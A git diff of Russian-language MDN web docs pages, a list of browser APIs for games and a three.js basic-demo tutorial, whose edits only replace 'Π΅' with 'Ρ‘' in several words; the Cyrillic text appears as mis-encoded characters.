<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ, которая ΠΏΠ»Π°Π²Π½ΠΎ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ нСзависимо ΠΎΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ дисплСя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
<dt><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">Typed Arrays</a></dt>
- <dd>Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы JavaScript Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ доступ ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠ· ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎ позволяСт Π²Π°ΠΌ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСкстурами GL, ΠΈΠ³Ρ€ΠΎΠ²Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΅Ρ‰Π΅, Π΄Π°ΠΆΠ΅ Ссли ΠΊΠΎΠ΄Β Π½Π΅ Π²Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript.</dd>
+ <dd>Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы JavaScript Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ доступ ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠ· ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎ позволяСт Π²Π°ΠΌ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСкстурами GL, ΠΈΠ³Ρ€ΠΎΠ²Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, Π΄Π°ΠΆΠ΅ Ссли ΠΊΠΎΠ΄Β Π½Π΅ Π²Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JavaScript.</dd>
<dt><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></dt>
<dd>Π­Ρ‚ΠΎΡ‚ API Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ для управлСния воспроизвСдСниСм, синтСзом звука ΠΈ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π°ΡƒΠ΄ΠΈΠΎ ΠΈΠ· ΠΊΠΎΠ΄Π° JavaScript. ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠΎΡ‚Ρ€ΡΡΠ°ΡŽΡ‰ΠΈΠ΅ Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Π΅ эффСкты, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΡƒΠ·Ρ‹ΠΊΠΎΠΉ Π² ​​рСТимС Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</dd>
<dt><a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a></dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽΒ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎ-ΡƒΡΠΊΠΎΡ€Π΅Π½Π½ΡƒΡŽ 3D (ΠΈ 2D) Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ ΠΈΠ· Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π­Ρ‚ΠΎ Π²Π΅Π±-рСализация <a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a>Β 2.0.</dd>
<dt><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a></dt>
- <dd>API WebRTC (Real-Time Communications) Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ- ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π΅Π»Π΅ΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ. Π₯ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваши ΠΈΠ³Ρ€ΠΎΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, взрывая монстров? Π­Ρ‚ΠΎ API для вас!</dd>
+ <dd>API WebRTC (Real-Time Communications) Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ- ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ΄Π°Π½Π½Ρ‹ΠΌΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π΅Π»Π΅ΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ. Π₯ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваши ΠΈΠ³Ρ€ΠΎΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, взрывая монстров? Π­Ρ‚ΠΎ API для вас!</dd>
<dt><a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></dt>
<dd>
<p dir="ltr" id="tw-target-text">The WebSocket API позволяСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ сайт ΠΊ сСрвСру для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. ИдСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΌΠ½ΠΎΠ³ΠΎΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΈΠ³Ρ€, Ρ‡Π°Ρ‚ΠΎΠ² ΠΈ Ρ‚. Π΄.</p>
diff --git a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html
index 7f07e08d93..1df6408271 100644
--- a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html
+++ b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html
@@ -66,7 +66,7 @@ renderer.setClearColor(0xDDDDDD, 1);
document.body.appendChild(renderer.domElement);
</pre>
-<p>Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ WebGL renderer, устанавливаСм Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π·Π°Π½ΠΈΠΌΠ°Π» всС пространство страницы, прикрСпляСм DOM элСмСнт ΠΊ страницС. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>antialias</code> Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС β€” Ссли ΠΎΠ½ установлСн Π² <code>true</code>, Ρ‚ΠΎ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΡΠ³Π»Π°ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ. ΠœΠ΅Ρ‚ΠΎΠ΄ <code>setClearColor()</code> устанавливаСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° (ΠΌΡ‹ установили Π² 0xDDDDDD, свСтло-сСрый, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ).</p>
+<p>Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ WebGL renderer, устанавливаСм Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π·Π°Π½ΠΈΠΌΠ°Π» всС пространство страницы, прикрСпляСм DOM элСмСнт ΠΊ страницС. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>antialias</code> Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС β€” Ссли ΠΎΠ½ установлСн Π² <code>true</code>, Ρ‚ΠΎ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΡΠ³Π»Π°ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ. ΠœΠ΅Ρ‚ΠΎΠ΄ <code>setClearColor()</code> устанавливаСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° (ΠΌΡ‹ установили Π² 0xDDDDDD, свСтло-сСрый, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ).</p>
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ этот ΠΊΠΎΠ΄ Π² ваш элСмСнт {{htmlelement("script")}}.</p>
@@ -81,7 +81,7 @@ document.body.appendChild(renderer.domElement);
<h2 id="ΠšΠ°ΠΌΠ΅Ρ€Π°">ΠšΠ°ΠΌΠ΅Ρ€Π°</h2>
-<p>Π£ нас Π΅ΡΡ‚ΡŒ сцСна, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… строк ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ, установим Π΅Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π² ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π½ΠΎΠΉ систСмС ΠΈ Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ Π΅Π΅ Π½Π° Π½ΡƒΠΆΠ½ΡƒΡŽ Π½Π°ΠΌ Ρ‚ΠΎΡ‡ΠΊΡƒ, Π³Π΄Π΅ располоТСно Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ:</p>
+<p>Π£ нас Π΅ΡΡ‚ΡŒ сцСна, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… строк ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ, установим Π΅Ρ‘ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π² ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π½ΠΎΠΉ систСмС ΠΈ Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ Π΅Ρ‘ Π½Π° Π½ΡƒΠΆΠ½ΡƒΡŽ Π½Π°ΠΌ Ρ‚ΠΎΡ‡ΠΊΡƒ, Π³Π΄Π΅ располоТСно Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ:</p>
<pre class="brush: js notranslate">var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT);
camera.position.z = 50;
@@ -90,7 +90,7 @@ scene.add(camera);
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ.</p>
-<p>БущСствуСт нСсколько Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠ°ΠΌΠ΅Ρ€: кубичСская (Cube), ортографичСская (Orthographic), Π½ΠΎ самая простая - пСрспСктивная (Perspective). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅, Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡƒΠ³ΠΎΠ» ΠΎΠ±Π·ΠΎΡ€Π° ΠΈ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ сторон: ΠŸΠ΅Ρ€Π²ΠΎΠ΅ Π½ΡƒΠΆΠ½ΠΎ для указания Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, послСдний для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈΠΌΠ΅Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ. Объясним ΠΏΠΎΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ числа, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ установили:</p>
+<p>БущСствуСт нСсколько Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠ°ΠΌΠ΅Ρ€: кубичСская (Cube), ортографичСская (Orthographic), Π½ΠΎ самая простая - пСрспСктивная (Perspective). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘, Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡƒΠ³ΠΎΠ» ΠΎΠ±Π·ΠΎΡ€Π° ΠΈ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ сторон: ΠŸΠ΅Ρ€Π²ΠΎΠ΅ Π½ΡƒΠΆΠ½ΠΎ для указания Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ, послСдний для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈΠΌΠ΅Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ. Объясним ΠΏΠΎΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ числа, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ установили:</p>
<ul>
<li>ΠœΡ‹ установили ΠΏΠΎΠ»Π΅ зрСния Π² 70, с этим ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ: Ρ‡Π΅ΠΌ большС число, Ρ‚Π΅ΠΌ большС ΡƒΠ³ΠΎΠ» ΠΎΠ±Π·ΠΎΡ€Π°, Ρ‚Π΅ΠΌ ΡˆΠΈΡ€Π΅ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ ΠΈ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ с эффСктом fish eye, ΠšΠΎΡ‚ΠΎΡ€Π°Ρ позволяСт ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ большС. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 50.</li>
@@ -115,9 +115,9 @@ scene.add(camera);
render();
</pre>
-<p>На ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½ΠΎΠ²ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ вызываСтся функция <code>render()</code>, Π° <code>renderer</code> Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ <code>scene</code> ΠΈ <code>camera</code>. Π‘Ρ€Π°Π·Ρƒ послС объявлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ†ΠΈΠΊΠ», послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ бСсконСчно.</p>
+<p>На ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½ΠΎΠ²ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ вызываСтся функция <code>render()</code>, Π° <code>renderer</code> Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ <code>scene</code> ΠΈ <code>camera</code>. Π‘Ρ€Π°Π·Ρƒ послС объявлСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Π΅Ρ‘, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ†ΠΈΠΊΠ», послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ бСсконСчно.</p>
-<p>Π•Ρ‰Π΅ Ρ€Π°Π·, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Π²Π°ΡˆΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ сСроС ΠΎΠΊΠ½ΠΎ. ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ!</p>
+<p>Π•Ρ‰Ρ‘ Ρ€Π°Π·, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Π²Π°ΡˆΠΈΡ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ сСроС ΠΎΠΊΠ½ΠΎ. ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ!</p>
<h2 id="Geometry">Geometry</h2>
@@ -155,7 +155,7 @@ render();
<pre class="brush: js notranslate">scene.add(cube);
</pre>
-<p>Если Π²Ρ‹ сохранитС ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚, Π° Π½Π΅ ΠΊΡƒΠ±, ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ стоит Ρ€ΠΎΠ²Π½ΠΎ Π½Π°ΠΏΡ€ΠΎΡ‚ΠΈΠ² ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ ΠΈ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ сторону. Π£ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ свойство - ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚ΠΈΠΌ. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, сколько ΡƒΠ³ΠΎΠ΄Π½ΠΎ. Π§Ρ‚ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ²Π΅Ρ€Π½Π΅ΠΌ Π΅Π³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ большС сторон.Β  Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² ΠΊΠΎΠ½Π΅Ρ† ΠΊΠΎΠ΄Π° эту строку:</p>
